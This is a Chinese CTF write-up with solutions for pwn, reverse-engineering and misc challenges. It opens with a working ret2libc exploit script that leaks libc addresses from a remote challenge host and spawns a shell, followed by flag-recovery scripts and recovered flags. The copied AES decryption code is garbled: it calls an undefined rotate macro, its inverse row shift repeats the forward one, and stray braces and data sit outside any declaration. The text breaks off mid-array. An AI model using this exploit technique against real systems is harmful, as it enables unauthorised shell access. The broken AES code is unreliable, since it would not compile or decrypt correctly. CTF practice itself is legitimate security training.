

pwn

inverse

ROP

```
from PwnContext import *

s      = lambda data      :ctx.send(str(data))
sa     = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl     = lambda data      :ctx.sendline(str(data))
sla    = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r      = lambda numb=4096 :ctx.recv(numb)
ru     = lambda delims, drop=True :ctx.recvuntil(delims, drop)
rl     = lambda          :ctx.recvline()
irt    = lambda          :ctx.interactive()
rs     = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg    = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
uu32   = lambda data      :u32(data.ljust(4, '\x00'))
uu64   = lambda data      :u64(data.ljust(8, '\x00'))
leak   = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
context.arch = 'i386'

ctx.binary = './pwn'
ctx.custom_lib_dir = '../glibc-all-in-one/libs/2.27-3ubuntu1.6_i386/'
ctx.remote = ('124.71.135.126',30030)
elf = ctx.binary
Remote = 1

ctx.breakpoints = [0x8049439 ]
ctx.symbols = {}

if(Remote):
    p = rs('remote')
else:
    ctx.debug_remote_libc = True
    p = rs()
    libc = ctx.remote_libc

#===== exp =====

sa('input world tag: ','a'*7)

sl('-5555')

work = 0x804943A
puts_plt = 0x8049110
puts_got = 0x804c010

payload = 'a'*64 + p32(puts_plt) + p32(work) + p32(puts_got)

# dbg()
# pause()
sla('leave me a msg:',payload)

puts_addr = uu32(r(4))
leak('puts_addr',puts_addr)
libc = ELF('libc-2.27.so')
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
leak('system_addr',system_addr)

payload = 'a'*64 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
sa('input world tag: ','a'*7)
sl('-5555')
sla('leave me a msg:',payload)
irt()
```

RE

re

flag分为多个部分校验

第一部分是一个异或

第二部分则是base64 ZjQ3ODEzYzI2NTk0YzA=解密得到f47813c26594c0

第三部分是个MD5，直接爆破后4字节

最后一位直接手动试出，为0

```
a = [0x00000066, 0x00000034, 0x00000033, 0x00000031, 0x00000034, 0x00000039, 0x00000060, 0x0000003c, 0x0000003d, 0x00000022, 0x00000068, 0x00000021, 0x00000038]

for i in range(13):
    if(i%2):
        print(chr(a[i]^(2*i)),end='')
    else:
        print(chr(a[i]^(i)),end='')

cc = 'f47813c26594c0'
print()

hash = '3fbac491c4740226ec9238c20b6d27d3'

from hashlib import md5

table = '0123456789abcdef'
for i in table:
    for j in table:
        for k in table:
            for m in table:
                test = cc + i + j + k + m
                if md5(test.encode()).hexdigest() == hash:
                    print(test)

#flag{f61703f2-50b7-4f47-813c-26594c0e5810}
```

car

```
public static String seed = "0123456789abcdefghijklmnopqrstuvwxyz";
private FragmentNotificationsBinding binding;
public boolean isLogin = false;
private NotificationsViewModel notificationsViewModel;

28 public static String trans(String _ipt) {
29     byte[] ipt = _ipt.getBytes();
34     StringBuffer buff = new StringBuffer();
        for (int i = 0; i < ipt.length / 3; i++) {
36         int sum = 0;
            for (int j = 0; j < 3; j++) {
39                 sum = (sum + (ipt[(i * 3) + j] - 48)) * 10;
            }
41         int sum2 = sum / 10;
45         buff.insert(i * 2, String.valueOf(seed.charAt(sum2 % 36)));
46         buff.insert((i * 2) + 1, String.valueOf(seed.charAt(sum2 / 36)));
        }
50     return buff.toString();
    }

@Override // androidx.fragment.app.Fragment
74 public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
76     this.notificationsViewModel = (NotificationsViewModel) new ViewModelProvider(this).get(NotificationsViewModel.class);
78     FragmentNotificationsBinding inflate = FragmentNotificationsBinding.inflate(inflater, container, false);
    this.binding = inflate;
79     final View root = inflate.getRoot();
81     final TextView textView = this.binding.textView3;
82     this.notificationsViewModel.getText().observe(getViewLifecycleOwner(), new Observer<String>() { // from class: com.example.ncar.ui.notifications.NotificationsFragment
        @Override // androidx.lifecycle.Observer
84         public void onChanged(String s) {
85             textView.setText(s);
        }
    });
89     Button button = (Button) root.findViewById(R.id.button);
90     button.setOnClickListener(new View.OnClickListener() { // from class: com.example.ncar.ui.notifications.NotificationsFragment.2
        @Override // android.view.View.OnClickListener
93         public void onClick(View view) {
94             EditText ipt_username = (EditText) root.findViewById(R.id.editTextTextPersonName);
95             EditText ipt_password = (EditText) root.findViewById(R.id.editTextTextPassword);
96             String username = ipt_username.getText().toString();
97             String password = ipt_password.getText().toString();
00             if ("4admin".equals(username) && "u203p2v2f3y2937383n2q2p223v2n2r263p2r2z2n2w2p2a3t2n2u29323h3".equals(NotificationsFragment.trans(password))) {
01                 NotificationsFragment.this.isLogin = true;
14                 System.out.println("Login ok");
15                 Toast.makeText(NotificationsFragment.this.getContext(), "Login ok", 1).show();
16                 textView.setText("Login OK~");
24                 return;
            }
        }
    });
}
```

```
c = 'u203p2v2f3y2937383n2q2p223v2n2r263p2r2z2n2w2p2a3t2n2u29323h3'
t = "0123456789abcdefghijklmnopqrstuvwxyz"

for i in range(0,len(c)//2):
    c1 = t.index(c[2*i])
    c2 = t.index(c[2*i+1])
    sum = (c1) + (c2)*36
    print(chr(sum),end='')
```

SEA

加了异常处理，真实逻辑不在main函数，手动patch一下，让他调到check函数

前半部分是简单的算术异或

```
t = '703B6C5B426A7A5C4365'
t = bytes.fromhex(t)
p=[0]*10
for i in range(10):
    if(i%2):
        p[i] = (t[i]+18)^0x19
    else:
        p[i] = (t[i]^0x16)-33

print(bytearray(p))
```

得到

```
ETYt3eKw4n
```

后半部分是AES，但是SBOX被改了，参考其他提的WP，改一下脚本

```
#include <stdint.h>
#include <stdio.h>
#include <string.h>

typedef struct{
```

```

uint32_t ek[44], dk[44];    // encKey, decKey
int Nr; // 10 rounds
}AesKey;

#define BLOCKSIZE 16 //AES-128分组长度为16字节

// uint8_t y[4] -> uint32_t x
#define LOAD32H(x, y) \
do { (x) = ((uint32_t)((y)[0] & 0xff)<<24) | ((uint32_t)((y)[1] & 0xff)<<16) | \
((uint32_t)((y)[2] & 0xff)<<8) | ((uint32_t)((y)[3] & 0xff));} while(0)

// uint32_t x -> uint8_t y[4]
#define STORE32H(x, y) \
do { (y)[0] = (uint8_t)(((x)>>24) & 0xff); (y)[1] = (uint8_t)(((x)>>16) & 0xff); \
(y)[2] = (uint8_t)(((x)>>8) & 0xff); (y)[3] = (uint8_t)((x) & 0xff); } while(0)

// 从uint32_t x中提取从低位开始的第n个字节
#define BYTE(x, n) (((x) >> (8 * (n))) & 0xff)

/* used for keyExpansion */
// 字节替换然后循环左移1位
#define MIX(x) (((S[BYTE(x, 2)] << 24) & 0xff000000) ^ ((S[BYTE(x, 1)] << 16) & 0xff0000) ^ \
((S[BYTE(x, 0)] << 8) & 0xff00) ^ (S[BYTE(x, 3)] & 0xff))

// uint32_t x循环左移n位
#define ROTL32(x, n) (((x) << (n)) | ((x) >> (32-(n))))
// uint32_t x循环右移n位
#define ROTR32(x, n) (((x) >> (n)) | ((x) << (32-(n))))

/* for 128-bit blocks, Rijndael never uses more than 10 rcon values */
// AES-128轮常量
static const uint32_t rcon[10] = {
    0x01000000UL, 0x02000000UL, 0x04000000UL, 0x08000000UL, 0x10000000UL,
    0x20000000UL, 0x40000000UL, 0x80000000UL, 0x1B000000UL, 0x36000000UL
};
// S盒
/*
unsigned char S[256] = {
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
};*/
unsigned char S[256] = { 0x18, 0x79, 0x28, 0xF9, 0x55, 0x99, 0x71, 0xD5, 0x1B, 0xEC,
    0xBB, 0xB0, 0x95, 0x6F, 0x94, 0x70, 0xA3, 0x53, 0x63, 0xAD,
    0x54, 0x7B, 0x37, 0x6E, 0xC1, 0xDB, 0xB1, 0xD7, 0x3D, 0x92,
    0x4D, 0xD0, 0x14, 0x4C, 0xB7, 0x78, 0x62, 0xA0, 0x6A, 0x1A,
    0xCD, 0x00, 0xF1, 0x7D, 0x5E, 0x1E, 0xF5, 0x8D, 0x11, 0x65,
    0xA9, 0xE2, 0xF2, 0xB9, 0xCA, 0x8C, 0xA1, 0xD2, 0x47, 0xAB,
    0x7C, 0x66, 0x52, 0xE4, 0x06, 0x77, 0x89, 0xC6, 0x7E, 0xB3,
    0xAE, 0xE6, 0xB4, 0x8B, 0xDF, 0x1D, 0x23, 0x17, 0xEA, 0x3C,
    0x90, 0xDC, 0x81, 0x32, 0xA5, 0xAF, 0x50, 0x20, 0x5D, 0x2D,
    0x96, 0x42, 0x35, 0x2E, 0x0A, 0xBF, 0xED, 0x8E, 0x38, 0xBA,
    0x61, 0x0B, 0x85, 0x5B, 0x24, 0x6B, 0xF0, 0x21, 0x3F, 0xCE,
    0x2B, 0x22, 0xA8, 0xC5, 0xE1, 0x4A, 0x30, 0x74, 0xEF, 0xCF,
    0xA4, 0xD3, 0xC8, 0xD9, 0xEB, 0xFB, 0xA7, 0xBE, 0x3E, 0x41,
    0xE0, 0xB5, 0x9F, 0xC0, 0xAC, 0x93, 0x9E, 0xF8, 0xF7, 0x7F,
    0xDE, 0x3B, 0xDA, 0x72, 0x88, 0x0D, 0x56, 0xE8, 0xE7, 0x8A,
    0xF4, 0x91, 0x5A, 0x64, 0x19, 0x67, 0x57, 0xD8, 0x84, 0xFA,
    0x0C, 0x25, 0x9B, 0xA2, 0x07, 0x15, 0x04, 0xC4, 0x87, 0x43,
    0x97, 0xB8, 0x60, 0xE3, 0x45, 0xAA, 0x8F, 0x13, 0xFD, 0xCB,
    0x2C, 0xA6, 0x1C, 0x3A, 0xEE, 0x36, 0x7A, 0xE9, 0xD1, 0x09,
    0x39, 0x4E, 0x33, 0xFE, 0x9A, 0x5C, 0x86, 0x6D, 0x16, 0x2F,
    0xD4, 0xB2, 0x48, 0x82, 0x5F, 0x68, 0x29, 0x03, 0xC9, 0x02,
    0x80, 0x44, 0x26, 0xBC, 0xFF, 0x75, 0x9C, 0x46, 0x2A, 0x27,
    0x4F, 0xC2, 0x9D, 0xF6, 0x01, 0x0F, 0x98, 0x40, 0x83, 0xF3,

```

```
0x31, 0xBD, 0x58, 0x4B, 0x05, 0xB6, 0xD6, 0x08, 0xC3, 0x49,
0x1F, 0x59, 0x10, 0xC7, 0xFC, 0x12, 0xE5, 0xCC, 0x51, 0xDD,
0x0E, 0x76, 0x69, 0x73, 0x6C, 0x34};
```

//逆S盒

```
unsigned char inv_S[256] = {
    0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
    0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
    0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
    0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
    0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
    0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
    0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
    0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
    0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
    0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
    0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
    0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
    0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
    0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
    0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
    0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D
};
```

```
/* copy in[16] to state[4][4] */
int loadStateArray(uint8_t (*state)[4], const uint8_t *in) {
    for (int i = 0; i < 4; ++i) {
        for (int j = 0; j < 4; ++j) {
            state[j][i] = *in++;
        }
    }
    return 0;
}
```

```
/* copy state[4][4] to out[16] */
int storeStateArray(uint8_t (*state)[4], uint8_t *out) {
    for (int i = 0; i < 4; ++i) {
        for (int j = 0; j < 4; ++j) {
            *out++ = state[j][i];
        }
    }
    return 0;
}
```

//秘钥扩展

```
int keyExpansion(const uint8_t *key, uint32_t keyLen, AesKey *aesKey) {

    if (NULL == key || NULL == aesKey){
        printf("keyExpansion param is NULL\n");
        return -1;
    }

    if (keyLen != 16){
        printf("keyExpansion keyLen = %d, Not support.\n", keyLen);
        return -1;
    }

    uint32_t *w = aesKey->ek; //加密秘钥
    uint32_t *v = aesKey->dk; //解密秘钥

    /* keyLen is 16 Bytes, generate uint32_t w[44]. */

    /* w[0-3] */
    for (int i = 0; i < 4; ++i) {
        LOAD32H(w[i], key + 4*i);
    }

    /* w[4-43] */
    for (int i = 0; i < 10; ++i) {
        w[4] = w[0] ^ MIX(w[3]) ^ rcon[i];
        w[5] = w[1] ^ w[4];
        w[6] = w[2] ^ w[5];
        w[7] = w[3] ^ w[6];
        w += 4;
    }

    w = aesKey->ek+44 - 4;
```

```

//解密密钥矩阵为加密密钥矩阵的倒序，方便使用，把ek的11个矩阵倒序排列分配给dk作为解密密钥
//即dk[0-3]=ek[41-44]， dk[4-7]=ek[37-40]... dk[41-44]=ek[0-3]
for (int j = 0; j < 11; ++j) {

    for (int i = 0; i < 4; ++i) {
        v[i] = w[i];
    }
    w -= 4;
    v += 4;
}

return 0;
}

// 轮密钥加
int addRoundKey(uint8_t (*state)[4], const uint32_t *key) {
    uint8_t k[4][4];

    /* i: row, j: col */
    for (int i = 0; i < 4; ++i) {
        for (int j = 0; j < 4; ++j) {
            k[i][j] = (uint8_t) BYTE(key[j], 3 - i); /* 把 uint32 key[4] 先转换为矩阵 uint8 k[4][4] */
            state[i][j] ^= k[i][j];
        }
    }

    return 0;
}

//字节替换
int subBytes(uint8_t (*state)[4]) {
    /* i: row, j: col */
    for (int i = 0; i < 4; ++i) {
        for (int j = 0; j < 4; ++j) {
            state[i][j] = S[state[i][j]]; //直接使用原始字节作为S盒数据下标
        }
    }

    return 0;
}

//逆字节替换
int invSubBytes(uint8_t (*state)[4]) {
    /* i: row, j: col */
    for (int i = 0; i < 4; ++i) {
        for (int j = 0; j < 4; ++j) {
            state[i][j] = inv_S[state[i][j]];
        }
    }

    return 0;
}

//行移位
int shiftRows(uint8_t (*state)[4]) {
    uint32_t block[4] = {0};

    /* i: row */
    for (int i = 0; i < 4; ++i) {
        //便于行循环移位，先把一行4字节拼成uint_32结构，移位后再转成独立的4个字节uint8_t
        LOAD32H(block[i], state[i]);
        block[i] = ROT32(block[i], 8*i);
        STORE32H(block[i], state[i]);
    }

    return 0;
}

//逆行移位
int invShiftRows(uint8_t (*state)[4]) {
    uint32_t block[4] = {0};

    /* i: row */
    for (int i = 0; i < 4; ++i) {
        LOAD32H(block[i], state[i]);
        block[i] = ROT32(block[i], 8*i);
        STORE32H(block[i], state[i]);
    }
}

```

```

    return 0;
}

/* Galois Field (256) Multiplication of two Bytes */
// 两字节的伽罗华域乘法运算
uint8_t GMul(uint8_t u, uint8_t v) {
    uint8_t p = 0;

    for (int i = 0; i < 8; ++i) {
        if (u & 0x01) {    //
            p ^= v;
        }

        int flag = (v & 0x80);
        v <<= 1;
        if (flag) {
            v ^= 0x1B; /* x^8 + x^4 + x^3 + x + 1 */
        }

        u >>= 1;
    }

    return p;
}

// 列混合
int mixColumns(uint8_t (*state)[4]) {
    uint8_t tmp[4][4];
    uint8_t M[4][4] = {{0x02, 0x03, 0x01, 0x01},
                        {0x01, 0x02, 0x03, 0x01},
                        {0x01, 0x01, 0x02, 0x03},
                        {0x03, 0x01, 0x01, 0x02}};

    /* copy state[4][4] to tmp[4][4] */
    for (int i = 0; i < 4; ++i) {
        for (int j = 0; j < 4; ++j){
            tmp[i][j] = state[i][j];
        }
    }

    for (int i = 0; i < 4; ++i) {
        for (int j = 0; j < 4; ++j) { //伽罗华域加法和乘法
            state[i][j] = GMul(M[i][0], tmp[0][j]) ^ GMul(M[i][1], tmp[1][j])
                ^ GMul(M[i][2], tmp[2][j]) ^ GMul(M[i][3], tmp[3][j]);
        }
    }

    return 0;
}

// 逆列混合
int invMixColumns(uint8_t (*state)[4]) {
    uint8_t tmp[4][4];
    uint8_t M[4][4] = {{0x0E, 0x0B, 0x0D, 0x09},
                        {0x09, 0x0E, 0x0B, 0x0D},
                        {0x0D, 0x09, 0x0E, 0x0B},
                        {0x0B, 0x0D, 0x09, 0x0E}}; //使用列混合矩阵的逆矩阵

    /* copy state[4][4] to tmp[4][4] */
    for (int i = 0; i < 4; ++i) {
        for (int j = 0; j < 4; ++j){
            tmp[i][j] = state[i][j];
        }
    }

    for (int i = 0; i < 4; ++i) {
        for (int j = 0; j < 4; ++j) {
            state[i][j] = GMul(M[i][0], tmp[0][j]) ^ GMul(M[i][1], tmp[1][j])
                ^ GMul(M[i][2], tmp[2][j]) ^ GMul(M[i][3], tmp[3][j]);
        }
    }

    return 0;
}

// AES-128加密接口，输入key应为16字节长度，输入长度应该是16字节整数倍，
// 这样输出长度与输入长度相同，函数调用外部为输出数据分配内存
int aesEncrypt(const uint8_t *key, uint32_t keyLen, const uint8_t *pt, uint8_t *ct, uint32_t len) {

```

```

AesKey aesKey;
uint8_t *pos = ct;
const uint32_t *rk = aesKey.ek; //解密秘钥指针
uint8_t out[BLOCKSIZE] = {0};
uint8_t actualKey[16] = {0};
uint8_t state[4][4] = {0};

if (NULL == key || NULL == pt || NULL == ct){
    printf("param err.\n");
    return -1;
}

if (keyLen > 16){
    printf("keyLen must be 16.\n");
    return -1;
}

if (len % BLOCKSIZE){
    printf("inLen is invalid.\n");
    return -1;
}

memcpy(actualKey, key, keyLen);
keyExpansion(actualKey, 16, &aesKey); // 秘钥扩展

// 使用ECB模式循环加密多个分组长度的数据
for (int i = 0; i < len; i += BLOCKSIZE) {
    // 把16字节的明文转换为4x4状态矩阵来进行处理
    loadStateArray(state, pt);
    // 轮秘钥加
    addRoundKey(state, rk);

    for (int j = 1; j < 10; ++j) {
        rk += 4;
        subBytes(state); // 字节替换
        shiftRows(state); // 行移位
        mixColumns(state); // 列混合
        addRoundKey(state, rk); // 轮秘钥加
    }

    subBytes(state); // 字节替换
    shiftRows(state); // 行移位
    // 此处不进行列混合
    addRoundKey(state, rk+4); // 轮秘钥加

    // 把4x4状态矩阵转换为uint8_t一维数组输出保存
    storeStateArray(state, pos);

    pos += BLOCKSIZE; // 加密数据内存指针移动到下一个分组
    pt += BLOCKSIZE; // 明文数据指针移动到下一个分组
    rk = aesKey.ek; // 恢复rk指针到秘钥初始位置
}
return 0;
}

// AES128解密， 参数要求同加密
int aesDecrypt(const uint8_t *key, uint32_t keyLen, const uint8_t *ct, uint8_t *pt, uint32_t len) {
    AesKey aesKey;
    uint8_t *pos = pt;
    const uint32_t *rk = aesKey.dk; //解密秘钥指针
    uint8_t out[BLOCKSIZE] = {0};
    uint8_t actualKey[16] = {0};
    uint8_t state[4][4] = {0};

    if (NULL == key || NULL == ct || NULL == pt){
        printf("param err.\n");
        return -1;
    }

    if (keyLen > 16){
        printf("keyLen must be 16.\n");
        return -1;
    }

    if (len % BLOCKSIZE){
        printf("inLen is invalid.\n");
        return -1;
    }

```



```

}

memcpy(actualKey, key, keyLen);
keyExpansion(actualKey, 16, &aesKey); //秘钥扩展，同加密

for (int i = 0; i < len; i += BLOCKSIZE) {
    // 把16字节的密文转换为4x4状态矩阵来进行处理
    loadStateArray(state, ct);
    // 轮秘钥加，同加密
    addRoundKey(state, rk);

    for (int j = 1; j < 10; ++j) {
        rk += 4;
        invShiftRows(state); // 逆行移位
        invSubBytes(state); // 逆字节替换，这两步顺序可以颠倒
        addRoundKey(state, rk); // 轮秘钥加，同加密
        invMixColumns(state); // 逆列混合
    }

    invSubBytes(state); // 逆字节替换
    invShiftRows(state); // 逆行移位
    // 此处没有逆列混合
    addRoundKey(state, rk+4); // 轮秘钥加，同加密

    storeStateArray(state, pos); // 保存明文数据
    pos += BLOCKSIZE; // 输出数据内存指针移位分组长度
    ct += BLOCKSIZE; // 输入数据内存指针移位分组长度
    rk = aesKey.dk; // 恢复rk指针到秘钥初始位置
}
return 0;
}

// 方便输出16进制数据
void printHex(uint8_t *ptr, int len, char *tag) {
    printf("%s\ndata[%d]: ", tag, len);
    for (int i = 0; i < len; ++i) {
        printf("%.2X ", *ptr++);
    }
    printf("\n");
}

int main() {
    //S盒有变化,要求出逆S盒
    //unsigned char change_S[256] =
    {41,64,87,110,133,156,179,202,225,248,15,38,61,84,107,130,153,176,199,222,245,12,35,58,81,104,127,150,173,196,219,242,9,32,55,78,
    101,124,147,170,193,216,239,6,29,52,75,98,121,144,167,190,213,236,3,26,49,72,95,118,141,164,187,210,233,0,23,46,69,92,115,138,161,
    ,184,207,230,253,20,43,66,89,112,135,158,181,204,227,250,17,40,63,86,109,132,155,178,201,224,247,14,37,60,83,106,129,152,175,198,
    221,244,11,34,57,80,103,126,149,172,195,218,241,8,31,54,77,100,123,146,169,192,215,238,5,28,51,74,97,120,143,166,189,212,235,2,25,
    ,48,71,94,117,140,163,186,209,232,255,22,45,68,91,114,137,160,183,206,229,252,19,42,65,88,111,134,157,180,203,226,249,16,39,62,85,
    ,108,131,154,177,200,223,246,13,36,59,82,105,128,151,174,197,220,243,10,33,56,79,102,125,148,171,194,217,240,7,30,53,76,99,122,14
    5,168,191,214,237,4,27,50,73,96,119,142,165,188,211,234,1,24,47,70,93,116,139,162,185,208,231,254,21,44,67,90,113,136,159,182,205,
    ,228,251,18};
    uint8_t line=0,rol=0; //位置
    for(int i=0;i<256;i++){
        line = (S[i]&0xf0)>>4;
        rol = S[i]&0xf;
        inv_S[line*16+rol] = i;
    }

    const uint8_t key[16] = {0x2b,0x7e,0x15,0x16,0x19,0xae,0xd2,0xa6,0xab,0xf7,0x15,0x88,0x26,0xcf,0x4f,0x3c};
    const uint8_t pt[16]={0x32, 0x43, 0xf6, 0xa8, 0x88, 0x5a, 0x30, 0x8d, 0x31, 0x31, 0x98, 0xa2, 0xe0, 0x37, 0x07, 0x34};
    uint8_t ct[] = {0x15, 0xae, 0x9f, 0xee, 0x9e, 0xac, 0xef, 0x05, 0x28, 0xc2, 0x2c, 0xd1, 0xa0, 0x03, 0xee, 0xcd};
};
uint8_t plain[16] = {0}; // 外部申请输出数据内存，用于解密后的数据
//aesEncrypt(key, 16, pt, ct, 16); // 加密
//printHex(pt, 16, "plain data:"); // 打印初始明文数据
//printHex(ct, 16, "after encryption:"); // 打印加密后的密文

aesDecrypt(key, 16, ct, plain, 16); // 解密
printHex(plain, 16, "after decryption:"); // 打印解密后的明文数据
//_eZ_Rc4_@nd_AES!
return 0;
}

```

Misc

secret

[PHP解密: phpjm混淆加密 - 『脱壳破解区』 - 吾爱破解 - LCG - LSG | 安卓破解|病毒分析|www.52pojie.cn](#)

脚本解密后是一串数组，绘图发现是2个一组的波形，但是第二个会放大，提取出倍数即flag。

```
flag = [['456.61134301', '228.8121183', '375.39044', '297.86794673', '248.66714823', '784.22596863', '812.98342231',
'406.78263537', '35.73921059', '613.27931755', '632.79721751', '655.40166766', '860.00519286', '590.93471959', '707.12666428',
'491.0426586', '687.57218033', '121.24455166', '190.56738905', '700.07764788', '374.66923089', '433.02427558', '405.81965084',
'652.22499664', '419.21497063', '171.96511012', '513.28596285', '521.70259412', '354.72313758', '309.22994338'],
['46565.76287099', '23349.74961323', '38289.34638542', '30384.20775585', '25380.63238464', '79990.53060101', '82913.60862552',
'41491.95428502', '3640.73310477', '62565.86407349', '64552.50361754', '66844.99872278', '87712.88004986', '60266.98851901',
'72139.21601677', '50083.98985525', '70145.9022877', '12375.84383358', '19447.63652095', '71415.29681795', '38229.46356045',
'44156.70058983', '41409.41585533', '66535.12220916', '42783.44278313', '17539.29680757', '52357.22601081', '53189.5192368',
'36177.3852584', '31547.51140301'],
```

```
['957.68347531', '870.77886831', '140.52188462', '528.94553194', '730.68859451', '328.23282604', '861.79518827', '129.12458951',
'551.01621792', '501.11880243', '937.48562032', '74.45982313', '740.12252758', '436.30630981', '842.17041802', '767.27622449',
'283.62338203', '89.77771324', '651.36313868', '203.89482956', '613.2786159', '797.65200977', '153.1180229', '189.49688512',
'861.97470008', '541.10107404', '624.84191838', '490.28921359', '434.20291437', '590.56679712'],
['103439.42714156', '94036.32581459', '15175.30102439', '57118.40784578', '78902.10120647', '35430.62056988', '93060.79186169',
'13940.23504849', '59520.57330641', '54111.11602992', '101237.33971961', '8041.12505815', '79941.95104624', '47116.76270804',
'90957.11652803', '82874.58693049', '30630.97464516', '9688.17380683', '70346.21381346', '22018.83770254', '66248.63047086',
'86136.25963392', '16521.51463005', '20466.64986615', '93082.78957774', '58443.90366145', '67475.01565394', '52959.05113491',
'46891.75999816', '63796.89899893'],
```

```
['186.64092777', '977.54350304', '243.69760528', '213.70327662', '986.83767855', '795.05979349', '983.35339094', '123.87916649',
'134.85268368', '735.11825704', '62.1865278', '407.4270693', '165.99305739', '979.019664', '894.21427948', '905.16077705',
'477.0283238', '588.47739677', '853.27653707', '672.15492419', '709.50348193', '217.02777463', '244.37798547', '749.90898778',
'987.17919946', '710.83397444', '793.77542749', '154.84185509', '279.4292333', '50.12842765'],
